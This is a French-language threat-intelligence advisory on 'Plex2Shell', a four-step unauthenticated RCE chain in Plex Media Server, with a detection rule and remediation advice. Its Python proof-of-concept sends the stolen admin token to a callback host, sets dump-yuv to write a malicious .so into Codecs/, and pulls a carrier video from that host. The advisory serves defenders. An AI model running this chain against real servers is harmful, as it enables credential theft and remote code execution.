Aller au contenu

CVE-2026-96656 : chaîne RCE non authentifiée « plex2shell » à 4 CVE dans plex media Server (SSRF /player/timeline, vol de jeton searchOne et écriture dans codecs)

Densité :
Synthèse Décisionnelle C-Level CVE-2026-96656 EXTREME SCORE 96/100

Chaîne critique d'exécution de code à distance (RCE) non authentifiée en quatre étapes (« Plex2Shell ») affectant Plex Media Server jusqu'à la version 1.43.2 incluse (corrigée en version 1.43.3.10861), inscrite au catalogue CISA Known Exploited Vulnerabilities (KEV) le 20 octobre 2026. En combinant une faille SSRF sur /player/timeline via le paramètre protocol (CVE-2026-96652), une injection d'URI encodée dans searchOne permettant de dérober le jeton administrateur X-Plex-Token du propriétaire (CVE-2026-96654), une faille SSRF authentifiée sur /video/:/transcode/universal/start (CVE-2026-96655) et une écriture de fichier arbitraire via l'option x264 TranscoderH264Options=dump-yuv dans le répertoire Codecs/ (CVE-2026-96656), un attaquant distant non authentifié obtient l'exécution de code arbitraire sur le port TCP 32400. Exploitée massivement pour déployer des mineurs XMRig ('mylovelyminer') et des relais proxy résidentiels ('myawesomeproxy').

HYBRID

SCORE DE MENACE HERMES & ÉVALUATION DE LA CHAÎNE CISA KEV MULTI-PRIMITIVES

Cible : API HTTP Plex Media Server (/player/timeline, searchOne, /video/:/transcode/universal) & chargeur de codecs x264 du transcodeur (co-hébergé avec des agents médias MCP & nœuds GPU)
Confiance : 99%
96 / 100
EXTRÊME

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 20 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 18 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Les scores CVSS v3.1 individuels sous-estiment gravement la criticité opérationnelle de cet ensemble car ils évaluent chaque maillon isolément : CVE-2026-96652 à 5.3 (MEDIUM), CVE-2026-96654 à 6.9 (MEDIUM), CVE-2026-96655 à 5.3 (MEDIUM) et CVE-2026-96656 à 8.6 (HIGH, en supposant des privilèges élevés PR:H préexistants). En réalité, la chaîne « Plex2Shell » articule automatiquement les quatre primitives, transformant trois failles de sévérité moyenne et une écriture réservée à l'administrateur en une exécution de code à distance (RCE) sans clic et sans authentification préalable sur le port TCP 32400. Inscrite au catalogue CISA KEV le 20 octobre 2026 face à des campagnes d'exploitation massives déployant XMRig ('mylovelyminer') et des implants proxy ('myawesomeproxy'), cette chaîne obtient un Hermes Threat Score de 96 (EXTREME) et un Hermes Agentic Security Score (HASS) de 89 (CRITICAL) en raison de la co-localisation fréquente de Plex Media Server sur des serveurs NAS et stations GPU exécutant des moteurs LLM locaux (Ollama, vLLM), des agents médias autonomes (MoviePilot) et des sockets Docker privilégiés.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-96656: Plex Media ServerVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTPlex Media Server
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Plex Media Server documented in Hermes dossier.”

Preuves vérifiées associées :

Le 20 octobre 2026, l’agence américaine CISA a inscrit quatre vulnérabilités complémentaires de Plex Media Server (versions <= 1.43.2, corrigées dans la version 1.43.3.10861) à son catalogue Known Exploited Vulnerabilities (KEV) avec une échéance fédérale de remédiation fixée au 10 novembre 2026 :

  1. CVE-2026-96652 (CWE-918, SSRF par détournement du paramètre protocol sur /player/timeline — CVSS 5.3) : le point de terminaison /player/timeline omet de valider le paramètre de requête protocol lors de la construction des requêtes de rappel vers address et port, permettant à un attaquant d’amener le serveur Plex à émettre des requêtes HTTP vers ses propres interfaces internes en boucle locale (127.0.0.1:32400).
  2. CVE-2026-96654 (CWE-116, injection de schémas d’URI encodés dans searchOne — CVSS 6.9) : une neutralisation insuffisante des schémas d’URI et des délimiteurs de requête encodés dans le gestionnaire interne de métadonnées searchOne permet à un attaquant pivotant via la boucle locale d’injecter des paramètres internes et d’exfiltrer le jeton administrateur principal (X-Plex-Token) du propriétaire du serveur.
  3. CVE-2026-96655 (CWE-918, SSRF authentifiée dans le transcodeur universel /video/:/transcode/universal — CVSS 5.3) : muni du jeton administrateur X-Plex-Token dérobé, l’attaquant invoque /video/:/transcode/universal/start en spécifiant une URL HTTP externe dans le paramètre path, forçant le processus Plex Transcoder à télécharger un flux vidéo H.264 piégé contrôlé par l’assaillant.
  4. CVE-2026-96656 (CWE-73, contrôle externe du nom OU du chemin de fichier via x264 dump-yuv vers Codecs/ — CVSS 8.6) : en injectant l’option d’encodage TranscoderH264Options=dump-yuv associée à un chemin cible, l’attaquant contraint l’encodeur x264 à écrire les trames YUV décodées — construites de manière à former une copie bit à bit exacte d’une bibliothèque partagée ELF (.so) ou d’une DLL Windows (.dll) — directement dans le répertoire Codecs/ de Plex (.../Plex Media Server/Codecs/), où elle est automatiquement chargée en mémoire (dlopen() / LoadLibrary()), déclenchant une exécution de code à distance (RCE) non authentifiée.

Architecture technique et décomposition des 4 étapes de « plex2shell »

Section intitulée « Architecture technique et décomposition des 4 étapes de « plex2shell » »

Étape 1 — CVE-2026-96652 : pivot SSRF vers la boucle locale via le paramètre protocol de /player/timeline

Section intitulée « Étape 1 — CVE-2026-96652 : pivot SSRF vers la boucle locale via le paramètre protocol de /player/timeline »

Plex Media Server expose /player/timeline afin de synchroniser l’état de lecture avec les applications clientes. Lorsqu’un client fournit les paramètres address, port et protocol accompagnés d’un commandID, le serveur construit une requête sortante de la forme "{protocol}://{address}:{port}/player/timeline".

Dans les versions <= 1.43.2, l’application ne restreignait pas protocol aux seules valeurs http ou https et ne filtrait pas les caractères d’URL injectés dans ce champ :

GET /player/timeline?address=127.0.0.1&port=32400&commandID=1&protocol=http://127.0.0.1:32400/system/agents/searchOne?mediaType=1%26id=1%23 HTTP/1.1
Host: target-plex.example.com:32400
X-Plex-Token: <jeton_invite_ou_bas_privilege>

Comme les requêtes provenant de 127.0.0.1 bénéficient d’une confiance implicite dans la politique d’authentification locale de Plex (localhost), la CVE-2026-96652 offre à un attaquant externe un vecteur SSRF direct vers les routes internes sur 127.0.0.1:32400.

Étape 2 — CVE-2026-96654 : exfiltration du jeton administrateur X-Plex-Token via searchOne

Section intitulée « Étape 2 — CVE-2026-96654 : exfiltration du jeton administrateur X-Plex-Token via searchOne »

Bien que l’accès depuis 127.0.0.1 contourne l’authentification initiale sur plusieurs routes internes, la modification de la configuration du transcodeur exige le jeton principal X-Plex-Token du propriétaire du serveur. Sous la CVE-2026-96654 (CWE-116), le point de terminaison d’agent de métadonnées searchOne accepte des paramètres d’URI et les relaie vers les gestionnaires de plugins internes tout en y annexant automatiquement le jeton administrateur X-Plex-Token du propriétaire.

Faute d’échappement approprié des schémas d’URI et des séparateurs encodés dans searchOne, l’attaquant détourne cet appel interne vers un serveur d’écoute sous son contrôle (ou récupère la valeur réfléchie), s’emparant ainsi du X-Plex-Token administrateur.

Étapes 3 et 4 — CVE-2026-96655 et CVE-2026-96656 : SSRF du transcodeur universel et écriture bit à bit d’un binaire .so/.dll dans Codecs/ via dump-yuv

Section intitulée « Étapes 3 et 4 — CVE-2026-96655 et CVE-2026-96656 : SSRF du transcodeur universel et écriture bit à bit d’un binaire .so/.dll dans Codecs/ via dump-yuv »

Muni du X-Plex-Token administrateur, l’attaquant enchaîne la CVE-2026-96655 et la CVE-2026-96656 pour détourner le pipeline de transcodage vidéo en primitive d’écriture binaire et de chargement de bibliothèque native :

  1. SSRF authentifiée dans le transcodeur (CVE-2026-96655) : la route /video/:/transcode/universal/start accepte un paramètre path désignant le média à transcoder. Au lieu de limiter path aux clés de bibliothèque locales (/library/metadata/...), Plex <= 1.43.2 autorise une URL HTTP externe arbitraire (http://attacker.example/carrier_payload.mkv), forçant le processus Plex Transcoder à télécharger et décoder un flux vidéo forgé par l’attaquant.
  2. Reconstruction binaire exacte via TranscoderH264Options=dump-yuv (CVE-2026-96656) : à l’aide du jeton administrateur, l’attaquant modifie la préférence TranscoderH264Options (via PUT /:/prefs). Le moteur sous-jacent x264 prend en charge une option de débogage, dump-yuv=<chemin_fichier>, qui écrit les trames vidéo YUV420p brutes décodées directement dans <chemin_fichier> sur le disque sans aucun en-tête de conteneur multimédia.
  3. Encodage polyglotte trame-vers-ELF et exécution dlopen() : en encodant au préalable une bibliothèque partagée ELF Linux (.so dotée d’une fonction __attribute__((constructor))) sous forme d’octets YUV sans perte dans une vidéo porteuse d’une seule trame et en orientant dump-yuv vers .../Plex Media Server/Codecs/<identifiant-codec>/, le transcodeur écrit une copie bit à bit exacte du fichier .so dans le dossier Codecs/. Dès l’appel de transcodage suivant, Plex charge dynamiquement (dlopen()) la bibliothèque depuis Codecs/, exécutant le code de l’attaquant sous l’identité système plex.
flowchart TD
Attacker["Attaquant distant non authentifié<br/>(port TCP 32400)"]
subgraph Stage12["Étapes 1 & 2 : SSRF locale & vol du jeton admin"]
CVE652["CVE-2026-96652 (CWE-918)<br/>Paramètre 'protocol' non validé sur /player/timeline<br/>SSRF vers la boucle locale 127.0.0.1:32400"]
CVE654["CVE-2026-96654 (CWE-116)<br/>Injection d'URI encodée dans searchOne<br/>Exfiltration du X-Plex-Token administrateur"]
end
subgraph Stage34["Étapes 3 & 4 : SSRF transcodeur & écriture dans Codecs/"]
CVE655["CVE-2026-96655 (CWE-918)<br/>/video/:/transcode/universal/start<br/>Téléchargement de la vidéo porteuse YUV via 'path'"]
CVE656["CVE-2026-96656 (CWE-73)<br/>Option x264 TranscoderH264Options=dump-yuv<br/>Écriture bit à bit d'un fichier .so / .dll dans Codecs/"]
end
subgraph Execution["Post-exploitation & mouvement latéral"]
Dlopen["Chargement automatique dlopen() / LoadLibrary()<br/>Exécution de code natif sous l'utilisateur 'plex'"]
Botnet["Charges observées dans la nature :<br/>mylovelyminer (XMRig) & myawesomeproxy<br/>+ pivot vers Docker / Ollama / agents MCP co-hébergés"]
end
Attacker -- "1. URL protocol= forgée" --> CVE652
CVE652 -- "2. Contournement de confiance localhost" --> CVE654
CVE654 -- "3. Jeton admin X-Plex-Token" --> CVE655
CVE655 -- "4. Flux vidéo porteur" --> CVE656
CVE656 --> Dlopen
Dlopen --> Botnet
style CVE652 fill:#ff6600,stroke:#993300,color:#ffffff
style CVE654 fill:#ff6600,stroke:#993300,color:#ffffff
style CVE655 fill:#ff4d4d,stroke:#990000,color:#ffffff
style CVE656 fill:#ff1a1a,stroke:#800000,color:#ffffff

Séquence de vérification et preuve de concept (PoC)

Section intitulée « Séquence de vérification et preuve de concept (PoC) »

Le script Python suivant illustre à des fins d’ingénierie de détection la séquence HTTP en 4 étapes mise en œuvre par Plex2Shell (CVE-2026-96652 $\rightarrow$ CVE-2026-96654 $\rightarrow$ CVE-2026-96655 $\rightarrow$ CVE-2026-96656) :

#!/usr/bin/env python3
"""
Flux de vérification forensique : chaîne Plex2Shell à 4 CVE (CVE-2026-96652..96656)
Destiné exclusivement à la validation des règles de détection et du correctif >= 1.43.3.10861.
"""
import urllib.parse
import requests
TARGET_PLEX = "http://plex-media.internal:32400"
CALLBACK_HOST = "http://198.51.100.42:8080"
# Étapes 1 & 2 (CVE-2026-96652 + CVE-2026-96654) :
# Détournement du paramètre 'protocol' sur /player/timeline pour atteindre searchOne en boucle locale
inner_uri = f"http://127.0.0.1:32400/system/agents/searchOne?mediaType=1&id=1&url={urllib.parse.quote(CALLBACK_HOST + '/leak')}#"
stage1_params = {
"address": "127.0.0.1",
"port": "32400",
"commandID": "1",
"protocol": inner_uri,
}
print("[*] Test des étapes 1/2 (SSRF protocol /player/timeline -> searchOne)...")
r1 = requests.get(f"{TARGET_PLEX}/player/timeline", params=stage1_params, timeout=5)
print(" Statut HTTP :", r1.status_code)
# Étapes 3 & 4 (CVE-2026-96655 + CVE-2026-96656) :
# Avec le jeton X-Plex-Token admin dérobé, injection de dump-yuv vers Codecs/ et déclenchement du transcodage SSRF
ADMIN_TOKEN = "JETON_ADMIN_X_PLEX_TOKEN_EXFILTRE"
codec_target = "../Codecs/EasyAudioEncoder-1978-linux-x86_64/libmalicious.so"
prefs_resp = requests.put(
f"{TARGET_PLEX}/:/prefs",
params={
"TranscoderH264Options": f"dump-yuv={codec_target}",
"X-Plex-Token": ADMIN_TOKEN,
},
timeout=5,
)
transcode_resp = requests.get(
f"{TARGET_PLEX}/video/:/transcode/universal/start.m3u8",
params={
"path": f"{CALLBACK_HOST}/carrier_elf_yuv.mkv",
"mediaIndex": "0",
"partIndex": "0",
"protocol": "hls",
"X-Plex-Token": ADMIN_TOKEN,
},
timeout=5,
)
print("[*] Statut des étapes 3/4 (SSRF transcodeur + dump-yuv) :", transcode_resp.status_code)

Investigation forensique et ingénierie de détection

Section intitulée « Investigation forensique et ingénierie de détection »

Les compromissions Plex2Shell laissent des traces caractéristiques dans Plex Media Server.log, dans le fichier Preferences.xml (où l’attribut TranscoderH264Options peut conserver la valeur dump-yuv=...) ainsi que dans le répertoire Codecs/ (fichiers .so/.dll illégitimes ou binaires mylovelyminer et myawesomeproxy). Comparez également cette chaîne avec notre dossier sur la CVE-2026-108804 (RCE via ExecuteCommandTool dans l’agent média IA autonome MoviePilot), fréquemment co-hébergé avec Plex sur les mêmes serveurs NAS ou hôtes Docker.

title: Exploitation de la chaîne RCE Plex2Shell à 4 CVE dans Plex Media Server (CVE-2026-96652 / CVE-2026-96654 / CVE-2026-96655 / CVE-2026-96656)
id: 96656a10-2026-4c8e-9b12-plex2shell01
status: experimental
description: Détecte l'exploitation de la chaîne CISA KEV Plex2Shell dans Plex Media Server (<= 1.43.2), incluant le SSRF via le paramètre protocol de /player/timeline, l'injection d'URI dans searchOne, le SSRF sur /video/:/transcode/universal et l'écriture de fichiers dans Codecs via x264 dump-yuv.
references:
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2026-96656
- https://nvd.nist.gov/vuln/detail/CVE-2026-96656
author: Hermes Threat Intelligence
date: 2026/10/21
logsource:
category: webserver
detection:
selection_timeline_ssrf:
cs-uri-stem|contains: '/player/timeline'
cs-uri-query|contains:
- 'protocol=http'
- 'protocol=https'
- 'searchOne'
- '127.0.0.1'
selection_dump_yuv:
cs-uri-query|contains:
- 'TranscoderH264Options'
- 'dump-yuv'
- 'Codecs'
selection_transcode_ssrf:
cs-uri-stem|contains: '/video/:/transcode/universal'
cs-uri-query|re: 'path=https?(%3A|:)'
condition: selection_timeline_ssrf or selection_dump_yuv or selection_transcode_ssrf
falsepositives:
- Aucun faux positif attendu pour l'option dump-yuv ou l'injection protocol=http:// sur /player/timeline
level: critical
tags:
- attack.initial_access
- attack.execution
- attack.persistence
- attack.t1190
- attack.t1574.001
- cve.2026-96652
- cve.2026-96654
- cve.2026-96655
- cve.2026-96656

Stratégie de remédiation et directives de durcissement

Section intitulée « Stratégie de remédiation et directives de durcissement »
  1. Mettre à jour immédiatement plex media Server vers la version >= 1.43.3.10861 (directive CISA KEV) : mettre à niveau toutes les instances Linux, Windows, macOS, Docker (plexinc/pms-docker) et NAS (Synology, QNAP, TrueNAS, Unraid) vers la version 1.43.3.10861 ou supérieure. Cette version impose une validation stricte du paramètre protocol sur /player/timeline (CVE-2026-96652), assainit les paramètres d’URI dans searchOne (CVE-2026-96654), restreint les sources path du transcodeur (CVE-2026-96655) et bloque les options d’écriture de fichier x264 telles que dump-yuv (CVE-2026-96656).
  2. Purger le dossier Codecs/, vérifier Preferences.xml et révoquer les jetons X-Plex-Token : si un serveur en version <= 1.43.2 a été exposé sur Internet via le port TCP 32400, appliquer immédiatement les mesures d’investigation et d’assainissement suivantes :
    • inspecter Preferences.xml et supprimer tout attribut TranscoderH264Options ;
    • supprimer intégralement le contenu du dossier Plex Media Server/Codecs/ (Plex retéléchargera automatiquement les codecs officiels vérifiés au redémarrage) ;
    • réinitialiser le mot de passe du compte propriétaire Plex en cochant l’option de déconnexion de tous les appareils associés afin d’invalider tout jeton PlexOnlineToken / X-Plex-Token exfiltré via la CVE-2026-96654.
  3. Fermer l’exposition directe du port TCP 32400 sur internet et cloisonner les services IA/Docker co-hébergés : placer Plex derrière un proxy inverse authentifié ou un réseau privé virtuel (Tailscale / WireGuard), bloquer sur le pare-feu applicatif tout accès externe à /player/timeline, /system/agents/* et /:/prefs, et vérifier que le conteneur ou l’utilisateur plex ne dispose d’aucun accès au socket /var/run/docker.sock ni aux moteurs d’inférence LLM locaux.

Références croisées stratégiques et liens du graphe de connaissances

Section intitulée « Références croisées stratégiques et liens du graphe de connaissances »